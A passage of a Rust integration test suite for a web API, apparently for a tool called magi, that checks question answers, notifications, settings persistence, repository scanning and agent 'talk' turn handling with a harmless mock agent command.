8197 r#"{"text":"whatever you think"}"#,
8198 r#"{"choice":"Redis","text":"both"}"#,
8199 r#"{}"#,
8200 ] {
8201 let res = fx.post(&path, Some(body)).await;
8202 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8203 assert!(res.json()["error"].is_string(), "{}", res.body);
8204 }
8205 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8207 }
8208
8209 #[tokio::test]
8210 async fn a_free_text_question_takes_text_and_not_a_choice() {
8211 let fx = Fixture::start().await;
8212 let id = ask(&fx, "What should the flag be called?", &[]);
8213 let path = format!("/api/questions/{id}/answer");
8214
8215 assert_eq!(
8216 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8217 400
8218 );
8219 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8220 assert_eq!(res.status, 200, "{}", res.body);
8221 assert_eq!(res.json()["answer"]["text"], "--json");
8222 }
8223
8224 #[tokio::test]
8225 async fn an_unknown_question_is_a_json_404() {
8226 let fx = Fixture::start().await;
8227 let res = fx
8228 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8229 .await;
8230 assert_eq!(res.status, 404, "{}", res.body);
8231 assert!(res.json()["error"].is_string());
8232 }
8233
8234 #[tokio::test]
8235 async fn notifications_list_read_dismiss_and_health_agree() {
8236 let fx = Fixture::start().await;
8237 let store = Notices::at(fx.home.path().join("notifications"));
8238 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8239 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8240
8241 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8242 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8243
8244 let health = fx.get("/api/health").await.json();
8245 assert_eq!(health["notifications_unread"], 2);
8246 assert_ne!(
8247 health["notifications_rev"], rev0,
8248 "the badge must move live"
8249 );
8250
8251 let listed = fx.get("/api/notifications").await.json();
8252 assert_eq!(listed["unread"], 2);
8253 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8254 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8255
8256 let read = fx
8257 .post(&format!("/api/notifications/{}/read", a.id), None)
8258 .await;
8259 assert_eq!(read.status, 200, "{}", read.body);
8260 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8261
8262 let gone = fx
8263 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8264 .await;
8265 assert_eq!(gone.status, 200, "{}", gone.body);
8266 let listed = fx.get("/api/notifications").await.json();
8267 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8268 assert_eq!(listed["unread"], 0);
8269
8270 store.raise(Notice::info("x", "again")).unwrap();
8271 let all = fx.post("/api/notifications/read-all", None).await;
8272 assert_eq!(all.status, 200, "{}", all.body);
8273 assert_eq!(all.json()["marked"], 1);
8274 assert_eq!(
8275 fx.get("/api/health").await.json()["notifications_unread"],
8276 0
8277 );
8278
8279 let missing = fx.post("/api/notifications/nope/read", None).await;
8280 assert_eq!(missing.status, 404, "{}", missing.body);
8281 assert!(missing.json()["error"].is_string());
8282 }
8283
8284 #[tokio::test]
8291 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8292 let f = Fixture::start().await;
8293
8294 let res = f
8295 .post(
8296 "/api/queue",
8297 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8298 )
8299 .await;
8300
8301 assert_eq!(
8302 res.status, 405,
8303 "POST /api/queue must not be a route: {}",
8304 res.body
8305 );
8306 assert!(
8307 f.queue().list().is_empty(),
8308 "a task filed by a route that does not exist must not reach the disk"
8309 );
8310 assert_eq!(f.get("/api/queue").await.status, 200);
8313 }
8314
8315 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8317 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8318 .expect("checkout dir");
8319 }
8320
8321 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8323
8324 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8325 let tmp = TempDir::new().expect("tempdir");
8326 let repo = tmp.path().join("repo");
8327 std::fs::create_dir_all(&repo).expect("repo dir");
8328 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8329 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8330 if let Some(text) = machine_toml {
8331 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8332 std::fs::write(&machine, text).expect("machine toml");
8333 }
8334 (tmp, repo, machine)
8335 }
8336
8337 #[tokio::test]
8338 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8339 let (_tmp, repo, machine) =
8340 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8341 let f = Fixture::with_repo_and_machine(repo, machine).await;
8342 let res = f.get("/api/settings").await;
8343 assert_eq!(res.status, 200, "{}", res.body);
8344 let v = res.json();
8345 assert!(v["error"].is_null(), "{v}");
8346 let role = |k: &str| {
8347 v["roles"]
8348 .as_array()
8349 .and_then(|r| r.iter().find(|x| x["key"] == k))
8350 .cloned()
8351 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8352 };
8353 assert_eq!(role("judges")["source"], "machine");
8354 assert_eq!(role("judges")["editable"], true);
8355 assert_eq!(role("implementers")["source"], "default");
8356 let adv = role("advisors");
8357 assert_eq!(adv["fallback"], "judges");
8358 assert!(
8359 adv["seats"]
8360 .as_array()
8361 .is_some_and(|s| s.iter().all(|x| x == "b")),
8362 "{adv}"
8363 );
8364 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8365 assert_eq!(v["agents"][0]["source"], "repo");
8366 }
8367
8368 #[tokio::test]
8369 async fn settings_get_reports_a_config_that_does_not_parse() {
8370 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8371 let f = Fixture::with_repo_and_machine(repo, machine).await;
8372 let res = f.get("/api/settings").await;
8373 assert_eq!(res.status, 200, "{}", res.body);
8374 let v = res.json();
8375 assert!(v["error"]["message"].is_string(), "{v}");
8376 assert!(
8377 v["error"]["path"]
8378 .as_str()
8379 .is_some_and(|p| p.ends_with("magi.toml")),
8380 "{v}"
8381 );
8382 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8383 }
8384
8385 #[tokio::test]
8386 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8387 let (_tmp, repo, machine) = settings_dirs(
8388 SETTINGS_AGENTS,
8389 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8390 );
8391 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8392 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8393 let rev = f.get("/api/settings").await.json()["revision"]
8394 .as_str()
8395 .expect("revision")
8396 .to_owned();
8397 let body = serde_json::json!({
8398 "revision": rev,
8399 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8400 })
8401 .to_string();
8402 let res = f.put("/api/settings/roles", &body).await;
8403 assert_eq!(res.status, 200, "{}", res.body);
8404 let text = std::fs::read_to_string(&machine).expect("machine");
8405 assert_eq!(
8406 text,
8407 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8408 );
8409 assert_eq!(
8410 std::fs::read(repo.join("magi.toml")).expect("read"),
8411 repo_before
8412 );
8413 let again = f.get("/api/settings").await.json();
8414 let judges = again["roles"]
8415 .as_array()
8416 .expect("roles")
8417 .iter()
8418 .find(|r| r["key"] == "judges")
8419 .expect("judges")
8420 .clone();
8421 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8422 let stale = f.put("/api/settings/roles", &body).await;
8424 assert_eq!(stale.status, 409, "{}", stale.body);
8425 }
8426
8427 #[tokio::test]
8428 async fn settings_counts_are_reported_and_saved() {
8429 let (_tmp, repo, machine) = settings_dirs(
8430 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8431 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8432 );
8433 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8434 let v = f.get("/api/settings").await.json();
8435 let count = |v: &serde_json::Value, k: &str| {
8436 v["roles"]
8437 .as_array()
8438 .and_then(|r| r.iter().find(|x| x["key"] == k))
8439 .map(|x| x["count"].clone())
8440 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8441 };
8442 let imp = count(&v, "implementers");
8443 assert_eq!(imp["value"], 2);
8444 assert_eq!(imp["source"], "machine");
8445 assert_eq!(imp["file_key"], "candidates");
8446 assert_eq!(imp["roster_len"], 2);
8447 assert_eq!(imp["backups"], 0);
8448 assert_eq!(count(&v, "judges")["source"], "default");
8449 assert_eq!(count(&v, "advisors")["min"], 0);
8450 assert_eq!(count(&v, "reviewers")["editable"], false);
8451 assert!(
8452 count(&v, "reviewers")["locked_reason"]
8453 .as_str()
8454 .is_some_and(|m| m.contains("graph.reviewers"))
8455 );
8456 assert!(count(&v, "fixer").is_null());
8457 let rev = v["revision"].as_str().expect("revision").to_owned();
8458 let body = serde_json::json!({
8459 "revision": rev,
8460 "roles": { "judges": ["b"] },
8461 "counts": { "implementers": 1, "advisors": 0 }
8462 })
8463 .to_string();
8464 let res = f.put("/api/settings/roles", &body).await;
8465 assert_eq!(res.status, 200, "{}", res.body);
8466 let text = std::fs::read_to_string(&machine).expect("machine");
8467 assert_eq!(
8468 text,
8469 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8470 );
8471 let after = f.get("/api/settings").await.json();
8472 assert_eq!(count(&after, "implementers")["value"], 1);
8473 assert_eq!(count(&after, "implementers")["backups"], 1);
8474 assert_eq!(count(&after, "advisors")["value"], 0);
8475 let before = std::fs::read_to_string(&machine).expect("machine");
8476 let rev = after["revision"].as_str().expect("revision").to_owned();
8477 for counts in [
8478 serde_json::json!({ "judges": 0 }),
8479 serde_json::json!({ "judges": "x" }),
8480 serde_json::json!({ "judges": 2.5 }),
8481 serde_json::json!({ "judges": -1 }),
8482 serde_json::json!({ "reviewers": 3 }),
8483 serde_json::json!({ "bogus": 3 }),
8484 ] {
8485 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8486 let res = f.put("/api/settings/roles", &body).await;
8487 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8488 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8489 }
8490 }
8491
8492 #[tokio::test]
8493 async fn settings_put_refuses_without_touching_the_file() {
8494 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8495 let (_tmp, repo, machine) = settings_dirs(
8496 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8497 Some(machine_text),
8498 );
8499 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8500 let rev = f.get("/api/settings").await.json()["revision"]
8501 .as_str()
8502 .expect("revision")
8503 .to_owned();
8504 for roles in [
8505 serde_json::json!({ "judges": ["nope"] }),
8506 serde_json::json!({ "reviewers": ["b"] }),
8507 serde_json::json!({ "bogus": ["a"] }),
8508 ] {
8509 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8510 let res = f.put("/api/settings/roles", &body).await;
8511 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8512 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8513 assert_eq!(
8514 std::fs::read_to_string(&machine).expect("machine"),
8515 machine_text
8516 );
8517 }
8518 }
8519
8520 #[tokio::test]
8521 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8522 let tmp = TempDir::new().expect("tempdir");
8523 let repo = tmp.path().join("repo");
8524 std::fs::create_dir_all(&repo).expect("repo dir");
8525 let root = tmp.path().join("root");
8526 make_checkout(&root, "github.com", "yukimemi", "magi");
8527 std::fs::write(
8528 repo.join("magi.toml"),
8529 format!(
8530 "[repos]\nroots = [{:?}]\n",
8531 root.to_string_lossy().into_owned()
8532 ),
8533 )
8534 .expect("write magi.toml");
8535
8536 let f = Fixture::with_repo(repo).await;
8537 let res = f.get("/api/repos").await;
8538 assert_eq!(res.status, 200, "{}", res.body);
8539 let list = res.json();
8540 let repos = list.as_array().expect("an array");
8541 assert_eq!(repos.len(), 1);
8542 assert_eq!(repos[0]["name"], "yukimemi/magi");
8543 assert!(
8544 repos[0]["path"]
8545 .as_str()
8546 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8547 "{list}"
8548 );
8549 }
8550
8551 #[tokio::test]
8552 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8553 let tmp = TempDir::new().expect("tempdir");
8554 let repo = tmp.path().join("repo");
8555 std::fs::create_dir_all(&repo).expect("repo dir");
8556 let root = tmp.path().join("root");
8557 make_checkout(&root, "github.com", "yukimemi", "magi");
8558 std::fs::write(
8559 repo.join("magi.toml"),
8560 format!(
8561 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8562 root.to_string_lossy().into_owned()
8563 ),
8564 )
8565 .expect("write magi.toml");
8566
8567 let f = Fixture::with_repo(repo).await;
8568 let first = f.get("/api/repos").await;
8569 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8570
8571 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8574 let second = f.get("/api/repos").await;
8575 assert_eq!(
8576 second.json().as_array().map(Vec::len),
8577 Some(1),
8578 "a fresh cache must not rescan inside the TTL"
8579 );
8580
8581 let refreshed = f.get("/api/repos?refresh=1").await;
8582 assert_eq!(
8583 refreshed.json().as_array().map(Vec::len),
8584 Some(2),
8585 "an explicit refresh must rescan even inside the TTL"
8586 );
8587 }
8588
8589 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8595
8596 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8600 let tmp = TempDir::new().expect("tempdir");
8601 let repo = tmp.path().join("repo");
8602 std::fs::create_dir_all(&repo).expect("repo dir");
8603 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8604 let f = Fixture::with_repo(repo.clone()).await;
8605 (tmp, repo, f)
8606 }
8607
8608 #[tokio::test]
8609 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8610 let (_tmp, _repo, f) = talk_fixture().await;
8611
8612 let opened = f.post("/api/talks", None).await;
8615 assert_eq!(opened.status, 201, "{}", opened.body);
8616 let body = opened.json();
8617 assert_eq!(body["status"], "open");
8618 assert_eq!(
8619 body["turns"].as_array().unwrap().len(),
8620 0,
8621 "opening takes no agent turn: there is nothing yet to answer"
8622 );
8623
8624 let also_opened = f.post("/api/talks", Some("{}")).await;
8626 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8627
8628 let listed = f.get("/api/talks").await.json();
8629 assert_eq!(listed.as_array().unwrap().len(), 2);
8630 }
8631
8632 #[tokio::test]
8633 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8634 let tmp = TempDir::new().expect("tempdir");
8635 let repo = tmp.path().join("repo");
8636 std::fs::create_dir_all(&repo).expect("repo dir");
8637 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8638 std::fs::write(
8639 repo.join("magi.toml"),
8640 format!("{MOCK_AGENT_TOML}\n{second}"),
8641 )
8642 .expect("write magi.toml");
8643 let home = TempDir::new().expect("temp home");
8644 let talks = Talks::at(home.path().join("talks"));
8645 let ui = Arc::new(
8646 Ui::new(
8647 Queue::at(home.path().join("queue")),
8648 Questions::at(home.path().join("questions")),
8649 talks.clone(),
8650 home.path().join("runs"),
8651 home.path().to_path_buf(),
8652 repo.clone(),
8653 )
8654 .with_worktrees_root(home.path().join("wt")),
8655 );
8656 let cfg = config_for(&repo).await.expect("discover config");
8657 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8658 let id = talk.id.clone();
8659 let call = |agent: &str| {
8660 talk_agent(
8661 State(Arc::clone(&ui)),
8662 Path(id.clone()),
8663 Json(TalkAgent {
8664 agent: agent.to_owned(),
8665 }),
8666 )
8667 };
8668
8669 let unknown = call("nobody").await.expect_err("unknown agent");
8670 assert_eq!(
8671 unknown.status,
8672 StatusCode::BAD_REQUEST,
8673 "{}",
8674 unknown.message
8675 );
8676
8677 {
8678 let mut claimed = None;
8681 for _ in 0..200 {
8682 claimed = ui.begin_talk_turn(&id).expect("claim");
8683 if claimed.is_some() {
8684 break;
8685 }
8686 tokio::time::sleep(Duration::from_millis(10)).await;
8687 }
8688 let _busy = claimed.expect("free");
8689 let busy = call("second").await.expect_err("busy talk");
8690 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8691 }
8692 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8693
8694 let Json(view) = call("second").await.expect("switch");
8695 assert_eq!(view.talk.agent, "second");
8696 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8697 let saved = talks.get(&id).expect("reload");
8698 assert_eq!(saved.agent, "second");
8699 assert_eq!(saved.turns.len(), 1);
8700
8701 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8702 .await
8703 .expect("detail");
8704 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8705 assert_eq!(roster, ["mock", "second"]);
8706
8707 let mut closed = talks.get(&id).expect("reload");
8708 talk::close(&mut closed, &talks).expect("close");
8709 let refused = call("mock").await.expect_err("closed talk");
8710 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8711 }
8712
8713 #[tokio::test]
8714 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8715 let tmp = TempDir::new().expect("tempdir");
8716 let repo = tmp.path().join("repo");
8717 std::fs::create_dir_all(&repo).expect("repo dir");
8718 std::fs::write(
8719 repo.join("magi.toml"),
8720 format!(
8721 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8722 ),
8723 )
8724 .expect("write magi.toml");
8725 let home = TempDir::new().expect("temp home");
8726 let talks = Talks::at(home.path().join("talks"));
8727 let ui = Arc::new(
8728 Ui::new(
8729 Queue::at(home.path().join("queue")),
8730 Questions::at(home.path().join("questions")),
8731 talks.clone(),
8732 home.path().join("runs"),
8733 home.path().to_path_buf(),
8734 repo.clone(),
8735 )
8736 .with_worktrees_root(home.path().join("wt")),
8737 );
8738 let cfg = config_for(&repo).await.expect("discover config");
8739 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8740 let id = talk.id.clone();
8741 let call = |persona: &str| {
8742 talk_persona(
8743 State(Arc::clone(&ui)),
8744 Path(id.clone()),
8745 Json(TalkPersona {
8746 persona: persona.to_owned(),
8747 }),
8748 )
8749 };
8750
8751 let unknown = call("nobody").await.expect_err("unknown persona");
8752 assert_eq!(
8753 unknown.status,
8754 StatusCode::BAD_REQUEST,
8755 "{}",
8756 unknown.message
8757 );
8758
8759 {
8760 let mut claimed = None;
8761 for _ in 0..200 {
8762 claimed = ui.begin_talk_turn(&id).expect("claim");
8763 if claimed.is_some() {
8764 break;
8765 }
8766 tokio::time::sleep(Duration::from_millis(10)).await;
8767 }
8768 let _busy = claimed.expect("free");
8769 let busy = call("rei").await.expect_err("busy talk");
8770 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8771 }
8772 assert_eq!(talks.get(&id).expect("reload").persona, "");
8773
8774 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8775 assert_eq!(view.talk.persona, "gendo");
8776 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8777
8778 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8779 .await
8780 .expect("detail");
8781 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8782 assert_eq!(ids.first(), Some(&"default"));
8783 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8784
8785 let Json(view) = call("default").await.expect("back to default");
8786 assert_eq!(view.talk.persona, "");
8787
8788 let mut closed = talks.get(&id).expect("reload");
8789 talk::close(&mut closed, &talks).expect("close");
8790 let refused = call("rei").await.expect_err("closed talk");
8791 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8792 }
8793
8794 #[tokio::test]
8795 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8796 let f = Fixture::start().await;
8797 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8798 let queue = f.queue();
8799 let mut mine = Task::new(
8800 "rename the loader".to_owned(),
8801 "rename the loader".to_owned(),
8802 PathBuf::from("/repo/magi"),
8803 Source::Agent {
8804 run: talk_id.clone(),
8805 node: "chat".to_owned(),
8806 },
8807 );
8808 queue.put(&mut mine).expect("file the task");
8809 let mut theirs = Task::new(
8810 "unrelated".to_owned(),
8811 "unrelated".to_owned(),
8812 PathBuf::from("/repo/magi"),
8813 Source::Human,
8814 );
8815 queue.put(&mut theirs).expect("file the task");
8816
8817 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8818 assert_eq!(res.status, 200, "{}", res.body);
8819 let body = res.json();
8820 assert_eq!(
8821 body["status"], "open",
8822 "filing a task does not close a talk"
8823 );
8824 let tasks = body["tasks"].as_array().expect("tasks array");
8825 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8826 assert_eq!(tasks[0]["id"], mine.id);
8827 }
8828
8829 #[tokio::test]
8830 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8831 let (_tmp, _repo, f) = talk_fixture().await;
8832 let id = f.post("/api/talks", None).await.json()["id"]
8833 .as_str()
8834 .expect("id")
8835 .to_owned();
8836
8837 let res = f
8838 .post(
8839 &format!("/api/talks/{id}/say"),
8840 Some(r#"{"text":"what does the queue module do?"}"#),
8841 )
8842 .await;
8843 assert_eq!(res.status, 202, "{}", res.body);
8844 let queued = res.json();
8845 let turns = queued["turns"].as_array().expect("turns array");
8846 assert_eq!(
8847 turns.len(),
8848 1,
8849 "the answer reflects only what is on disk the instant it is sent, \
8850 before the agent's turn - which can run for the whole of \
8851 `[graph] timeout_talk` - has a chance to land: {queued}"
8852 );
8853 assert_eq!(turns[0]["who"], "operator");
8854 assert_eq!(turns[0]["body"], "what does the queue module do?");
8855 assert_eq!(
8856 queued["thinking"], true,
8857 "the accepted response exposes the background turn claim: {queued}"
8858 );
8859
8860 let mut turns_after = 1;
8861 for _ in 0..SETTLE_STEPS {
8862 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8863 turns_after = detail["turns"].as_array().expect("turns array").len();
8864 if turns_after == 2 {
8865 break;
8866 }
8867 tokio::time::sleep(Duration::from_millis(10)).await;
8868 }
8869 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8870 }
8871
8872 #[tokio::test]
8899 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8900 let tmp = TempDir::new().expect("tempdir");
8901 let repo = tmp.path().join("repo");
8902 std::fs::create_dir_all(&repo).expect("repo dir");
8903 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8904 let home = TempDir::new().expect("temp home");
8905 let talks = Talks::at(home.path().join("talks"));
8906 let ui = Arc::new(
8907 Ui::new(
8908 Queue::at(home.path().join("queue")),
8909 Questions::at(home.path().join("questions")),
8910 talks.clone(),
8911 home.path().join("runs"),
8912 home.path().to_path_buf(),
8913 repo.clone(),
8914 )
8915 .with_worktrees_root(home.path().join("wt")),
8916 );
8917 let cfg = config_for(&repo).await.expect("discover config");
8918
8919 for delay in 0..40u32 {
8920 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8921 let id = talk.id.clone();
8922
8923 let handler = tokio::spawn(talk_say(
8924 State(Arc::clone(&ui)),
8925 Path(id.clone()),
8926 Ok(Json(NewTalkTurn {
8927 text: "what does the queue module do?".to_owned(),
8928 attachments: Vec::new(),
8929 })),
8930 ));
8931 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8932 handler.abort();
8933 let _ = handler.await;
8936
8937 let mut turns = 0;
8938 for _ in 0..SETTLE_STEPS {
8939 if let Ok(fresh) = talks.get(&id) {
8940 turns = fresh.turns.len();
8941 if turns != 1 {
8942 break;
8943 }
8944 }
8945 tokio::time::sleep(Duration::from_millis(10)).await;
8946 }
8947 assert_ne!(
8948 turns, 1,
8949 "delay {delay}: talk {id} recorded the operator's turn but \
8950 the agent never answered - the reply task was never \
8951 started after the handler future was dropped"
8952 );
8953 }
8954 }
8955
8956 #[tokio::test]
9001 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9002 let tmp = TempDir::new().expect("tempdir");
9003 let repo = tmp.path().join("repo");
9004 std::fs::create_dir_all(&repo).expect("repo dir");
9005 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9006 let home = TempDir::new().expect("temp home");
9007 let talks = Talks::at(home.path().join("talks"));
9008 let ui = Arc::new(
9009 Ui::new(
9010 Queue::at(home.path().join("queue")),
9011 Questions::at(home.path().join("questions")),
9012 talks.clone(),
9013 home.path().join("runs"),
9014 home.path().to_path_buf(),
9015 repo.clone(),
9016 )
9017 .with_worktrees_root(home.path().join("wt")),
9018 );
9019 let cfg = config_for(&repo).await.expect("discover config");
9020
9021 for attempt in 0..3u32 {
9022 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9023 let id = talk.id.clone();
9024 let turn_guard = ui
9027 .begin_talk_turn(&id)
9028 .expect("claim the turn")
9029 .expect("a fresh talk owes nobody a turn");
9030
9031 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9032 let (release_tx, release_rx) = std::sync::mpsc::channel();
9033 ui.set_busy_queue_gate(BusyQueueGate {
9034 reached: reached_tx,
9035 release: release_rx,
9036 });
9037
9038 let handler = tokio::spawn(talk_say(
9039 State(Arc::clone(&ui)),
9040 Path(id.clone()),
9041 Ok(Json(NewTalkTurn {
9042 text: "what does the queue module do?".to_owned(),
9043 attachments: Vec::new(),
9044 })),
9045 ));
9046
9047 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9052 .await
9053 .unwrap_or_else(|_| {
9054 panic!(
9055 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9056 )
9057 })
9058 .expect("the busy branch dropped the gate without using it");
9059
9060 let running = talks.get(&id).expect("reload talk");
9067 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9068
9069 handler.abort();
9073 let _ = handler.await;
9074
9075 let _ = release_tx.send(());
9081
9082 let mut fresh = talks.get(&id).expect("reload talk");
9085 for _ in 0..SETTLE_STEPS {
9086 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9087 break;
9088 }
9089 tokio::time::sleep(Duration::from_millis(10)).await;
9090 fresh = talks.get(&id).expect("reload talk");
9091 }
9092 assert!(
9093 fresh.pending.is_empty() && fresh.turns.len() == 2,
9094 "attempt {attempt}: talk {id} left the operator's text queued \
9095 with no drainer - the reclaimed turn was dropped along with \
9096 the handler future (pending {:?}, {} turns)",
9097 fresh.pending,
9098 fresh.turns.len()
9099 );
9100 }
9101 }
9102
9103 #[tokio::test]
9104 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9105 let (_tmp, _repo, f) = talk_fixture().await;
9106 let id = f.post("/api/talks", None).await.json()["id"]
9107 .as_str()
9108 .expect("id")
9109 .to_owned();
9110 let store = f.talks();
9111 let mut recovered = store.get(&id).expect("opened talk");
9112 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9113 .expect("persist pending draft without a live turn");
9114
9115 let edited = f
9116 .post(
9117 &format!("/api/talks/{id}/pending/edit"),
9118 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9119 )
9120 .await;
9121 assert_eq!(edited.status, 200, "{}", edited.body);
9122 assert!(edited.json()["thinking"].as_bool().unwrap());
9123
9124 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9125 for _ in 0..SETTLE_STEPS {
9126 if detail["turns"].as_array().expect("turns").len() == 2 {
9127 break;
9128 }
9129 tokio::time::sleep(Duration::from_millis(10)).await;
9130 detail = f.get(&format!("/api/talks/{id}")).await.json();
9131 }
9132 let turns = detail["turns"].as_array().expect("turns");
9133 assert_eq!(
9134 turns.len(),
9135 2,
9136 "the recovered draft must run once: {detail}"
9137 );
9138 assert_eq!(turns[0]["body"], "corrected");
9139 assert_eq!(detail["pending"], "");
9140 }
9141
9142 #[tokio::test]
9143 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9144 let tmp = TempDir::new().expect("tempdir");
9145 let repo = tmp.path().join("repo");
9146 std::fs::create_dir_all(&repo).expect("repo dir");
9147 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9148 let f = Fixture::with_repo(repo).await;
9149 let id = f.post("/api/talks", None).await.json()["id"]
9150 .as_str()
9151 .expect("id")
9152 .to_owned();
9153 let store = f.talks();
9154 let mut recovered = store.get(&id).expect("opened talk");
9155 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9156 .expect("persist pending draft without a live turn");
9157
9158 let refused = f
9159 .post(
9160 &format!("/api/talks/{id}/say"),
9161 Some(r#"{"text":"new message"}"#),
9162 )
9163 .await;
9164 assert_eq!(refused.status, 409, "{}", refused.body);
9165 assert!(refused.body.contains("resume"), "{}", refused.body);
